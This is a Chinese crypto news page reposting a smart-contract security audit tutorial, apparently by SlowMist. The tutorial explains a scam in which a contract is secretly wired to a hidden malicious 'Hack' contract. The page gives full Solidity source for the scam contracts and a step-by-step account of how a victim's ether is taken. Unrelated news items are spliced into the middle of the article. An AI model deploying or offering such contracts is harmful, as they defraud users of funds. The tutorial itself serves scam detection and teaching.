比特幣行情 比特幣行情
Ctrl+D 比特幣行情
ads
首頁 > 火星幣 > Info

BSP:智能合約安全審計入門篇 —— 移花接木

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

基于AI的Web3智能合約生成器Mazzuma完成新一輪融資,Adaverse參投:金色財經報道,基于人工智能技術的Web3智能合約生成器Mazzuma宣布完成新一輪融資,Cardano生態投資機構Adaverse參投,但具體融資金額暫未披露。Mazzuma總部位于非洲加納,旨在利用人工智能技術支持幫助開發人員為Web3去中心化應用程序無縫生成智能合約代碼,繼而加快區塊鏈智能合約的創建和部署,新資金將用于推動旗下新產品MazzumaGPT上線。 (disrupt-africa)[2023/6/27 22:03:15]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

央行數字貨幣研究所申請“智能合約”專利:7月5日消息,近期,數字人民幣結合智能合約的應用實踐得到了廣泛關注。從公開數據了解到,人民銀行數字貨幣研究所申請了8篇標題含有“智能合約”字眼的專利,大部分于2021年申請,涵蓋的技術多為智能合約底層技術方案,具體包括智能合約的注冊方法和執行方法。業內專家介紹,通過在數字人民幣上加載智能合約,拓展了數字人民幣支付場景的同時,能夠實現支付“定制化”,為老百姓提供更加便民的支付工具。(中證網)[2022/7/5 1:53:05]

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

Cardano將在Alonzo升級后利用本地Plutus語言編寫智能合約:Cardano發布了關于Plutus的更多細節,Plutus是一種本地編程語言,將在其下一次重大升級Alonzo之后用于編寫智能合約。Cardano背后公司IOHK在一篇博文中解釋稱,Plutus合約由鏈上運行的部件和鏈下在用戶設備上運行的部件組成。這兩部分實際上都是用Haskell語言編寫的,但都是由Plutus編譯(compile)的,后者為Cardano上的智能合約提供了框架。Plutus Core將用于定義EUTXO交易的參數,并編譯為智能合約開發的代碼。一個Plutus應用程序框架(PAF)將提供對運行在網絡上的服務和應用程序的便捷訪問,同時具有完整的web瀏覽器互操作性。Cardano在2月份的“Mary”升級中推出了原生代幣,允許用戶創建唯一定義的自定義代幣,并進行交易。Plutus將擴展當前代幣的能力,極大地改善鑄幣策略,這將有利于可能需要時間鎖的NFT。(Crypto Potato)[2021/4/15 20:22:21]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

動態 | TRON-IDE編譯工具支持開發者完成智能合約的編譯及部署工作:據官方最新消息,TRON-IDE編譯工具已經可以支持開發者簡易快捷的完成智能合約的編譯及部署工作。TRON-IDE是一款基于波場TRON公鏈開發供開發者使用的智能合約編譯工具,經過多個版本迭代和不間斷的灰度發布,到目前為止,TRON-IDE已經達到面向全量用戶發布的標準,可以支持開發者簡易快捷的完成智能合約的編譯及部署工作。[2019/12/19]

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

Digital Asset建筑與技術戰略首席技術官:對于智能合約 如何將資產與外部系統整合非常重要:據coindesk消息,區塊鏈初創公司Digital Asset的建筑與技術戰略首席技術官Shaul Kfir在Synchronize 2018會議上舉例美國財政部的回購國債,表示1億美元是一個小型交易,這是一個非常適合智能合同用例。在現實世界中,資產始終會被創造和摧毀。如何將資產與外部系統整合的問題非常重要。對于智能合約來說,最好的例子是“當人們想擁有這個邏輯上集中的IT系統,但是不希望它實際上是中心化的時候,任何時候在多個設備上都有一個工作流程。[2018/4/20]

Tags:BSPNBSQUOMAKEBSP價格NBS價格QUOTHMAKEUP價格

火星幣
ETH:金色早報 | 徐明星:OKX已推出BRC-20瀏覽器

▌徐明星:OKX已推出BRC-20瀏覽器徐明星發推稱,OKX已經推出BRC-20瀏覽器,歡迎大家反饋意見。 據悉,用戶可查看BRC-20代幣詳情、持倉詳情、轉賬詳情等數據.

1900/1/1 0:00:00
NFT:解讀新標準:ERC-6551 NFT即錢包的新玩法

作者:BITWU.ETH,來源:作者推特@BTW0205 本文將回答以下問題: ERC-6551是什么?ERC-6551從哪些方面為NFT設立了新標準和敘事?ERC-6551有哪些新玩法和新機遇.

1900/1/1 0:00:00
NBS:晚間必讀 | 為什么23年不會有大牛市?

通過zkSNARKs證明機器學習(ML)模型推理將成為這個十年智能合約發展最重要的進步之一。這一發展開辟了一個令人興奮的廣闊設計空間,允許應用程序和基礎設施發展成更復雜智能的系統.

1900/1/1 0:00:00
MEM:MEME 幣投資實戰指南:方法論、技巧與工具

自從幣圈行情進入到了 MEME 季,無數的造福神話與一夜歸零在不斷上演。大家感慨著$PEPE,$Turbo,$AIDOGE和 $MILADY 的百倍千倍漲幅,自己買 MEME 時卻一買就虧,一拿.

1900/1/1 0:00:00
COI:如何構建“Web3反擼毛”系統

原文作者:Gitcoin 首席運營官 Kyle Weiss 譯者:Odaily 星球日報 Azuma 女巫攻擊(Sybil attacks,在空投屆俗稱“擼毛”)是一個非常嚴重的問題.

1900/1/1 0:00:00
NBS:解讀比特幣Ordinals協議與BRC20標準的原理創新與局限

“The Times 03/Jan/2009 Chancellor on brink of second bailout for banks.

1900/1/1 0:00:00
ads